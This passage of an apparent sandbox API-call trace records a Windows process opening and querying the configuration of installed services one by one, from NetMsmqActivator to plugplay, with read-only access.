lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d189c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netmsmqactivator", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netmsmqactivator", cchWideChar=16, lpMultiByteStr=0x1d189c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netmsmqactivator", lpUsedDefaultChar=0x0) returned 16 [0028.099] OpenServiceW (hSCManager=0x286c38, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x1) returned 0x286d00 [0028.100] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.100] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.100] GetLastError () returned 0x7a [0028.100] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x18a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1d18a08, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0028.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netpipeactivator", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netpipeactivator", cchWideChar=16, lpMultiByteStr=0x1d18a08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netpipeactivator", lpUsedDefaultChar=0x0) returned 16 [0028.100] OpenServiceW (hSCManager=0x286c38, lpServiceName="NetPipeActivator", dwDesiredAccess=0x1) returned 0x286dc8 [0028.100] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.100] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.101] GetLastError () returned 0x7a [0028.101] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1d18a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0028.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netprofm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netprofm", cchWideChar=8, lpMultiByteStr=0x1d18a50, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netprofm", lpUsedDefaultChar=0x0) returned 8 [0028.101] OpenServiceW (hSCManager=0x286c38, lpServiceName="netprofm", dwDesiredAccess=0x1) returned 0x286d28 [0028.101] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.101] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.101] GetLastError () returned 0x7a [0028.102] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18a98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpactivator", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpactivator", cchWideChar=15, lpMultiByteStr=0x1d18a98, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nettcpactivator", lpUsedDefaultChar=0x0) returned 15 [0028.102] OpenServiceW (hSCManager=0x286c38, lpServiceName="NetTcpActivator", dwDesiredAccess=0x1) returned 0x286e18 [0028.102] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.102] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.102] GetLastError () returned 0x7a [0028.102] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x176, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1d18ae0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0028.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpportsharing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpportsharing", cchWideChar=17, lpMultiByteStr=0x1d18ae0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nettcpportsharing", lpUsedDefaultChar=0x0) returned 17 [0028.103] OpenServiceW (hSCManager=0x286c38, lpServiceName="NetTcpPortSharing", dwDesiredAccess=0x1) returned 0x286d00 [0028.103] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.103] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.103] GetLastError () returned 0x7a [0028.103] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1d18b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0028.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nlasvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nlasvc", cchWideChar=6, lpMultiByteStr=0x1d18b28, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nlasvc", lpUsedDefaultChar=0x0) returned 6 [0028.103] OpenServiceW (hSCManager=0x286c38, lpServiceName="NlaSvc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.104] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.104] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.104] GetLastError () returned 0x7a [0028.104] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x15a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18b70, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nsi", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nsi", cchWideChar=3, lpMultiByteStr=0x1d18b70, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nsi", lpUsedDefaultChar=0x0) returned 3 [0028.104] OpenServiceW (hSCManager=0x286c38, lpServiceName="nsi", dwDesiredAccess=0x1) returned 0x286d28 [0028.104] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.105] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.105] GetLastError () returned 0x7a [0028.105] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose64", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose64", cchWideChar=5, lpMultiByteStr=0x1d18bb8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose64", lpUsedDefaultChar=0x0) returned 5 [0028.105] OpenServiceW (hSCManager=0x286c38, lpServiceName="ose64", dwDesiredAccess=0x1) returned 0x286e18 [0028.105] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.105] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.106] GetLastError () returned 0x7a [0028.106] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x1d18c00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0028.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc", cchWideChar=7, lpMultiByteStr=0x1d18c00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osppsvc", lpUsedDefaultChar=0x0) returned 7 [0028.106] OpenServiceW (hSCManager=0x286c38, lpServiceName="osppsvc", dwDesiredAccess=0x1) returned 0x286d00 [0028.106] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.106] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.106] GetLastError () returned 0x7a [0028.106] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x1b0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc.exe", cchWideChar=11, lpMultiByteStr=0x1d18c48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osppsvc.exe", lpUsedDefaultChar=0x0) returned 11 [0028.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2pimsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2pimsvc", cchWideChar=8, lpMultiByteStr=0x1d18c48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p2pimsvc", lpUsedDefaultChar=0x0) returned 8 [0028.107] OpenServiceW (hSCManager=0x286c38, lpServiceName="p2pimsvc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.107] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.107] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.107] GetLastError () returned 0x7a [0028.107] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18c90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2psvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2psvc", cchWideChar=6, lpMultiByteStr=0x1d18c90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p2psvc", lpUsedDefaultChar=0x0) returned 6 [0028.108] OpenServiceW (hSCManager=0x286c38, lpServiceName="p2psvc", dwDesiredAccess=0x1) returned 0x286d28 [0028.108] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.108] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.108] GetLastError () returned 0x7a [0028.108] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18cd8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pcasvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pcasvc", cchWideChar=6, lpMultiByteStr=0x1d18cd8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pcasvc", lpUsedDefaultChar=0x0) returned 6 [0028.108] OpenServiceW (hSCManager=0x286c38, lpServiceName="PcaSvc", dwDesiredAccess=0x1) returned 0x286e18 [0028.108] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.109] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.109] GetLastError () returned 0x7a [0028.109] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x15c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18d20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peerdistsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peerdistsvc", cchWideChar=11, lpMultiByteStr=0x1d18d20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peerdistsvc", lpUsedDefaultChar=0x0) returned 11 [0028.109] OpenServiceW (hSCManager=0x286c38, lpServiceName="PeerDistSvc", dwDesiredAccess=0x1) returned 0x286d00 [0028.109] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.109] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.110] GetLastError () returned 0x7a [0028.110] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x11a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18d68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost", cchWideChar=8, lpMultiByteStr=0x1d18d68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="perfhost", lpUsedDefaultChar=0x0) returned 8 [0028.110] OpenServiceW (hSCManager=0x286c38, lpServiceName="PerfHost", dwDesiredAccess=0x1) returned 0x286dc8 [0028.110] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.110] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.110] GetLastError () returned 0x7a [0028.111] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x124, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost.exe", cchWideChar=12, lpMultiByteStr=0x1d18db0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="perfhost.exe", lpUsedDefaultChar=0x0) returned 12 [0028.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x1d18db0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0028.111] OpenServiceW (hSCManager=0x286c38, lpServiceName="pla", dwDesiredAccess=0x1) returned 0x286d28 [0028.111] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.111] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.111] GetLastError () returned 0x7a [0028.111] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18df8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plugplay", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plugplay", cchWideChar=8, 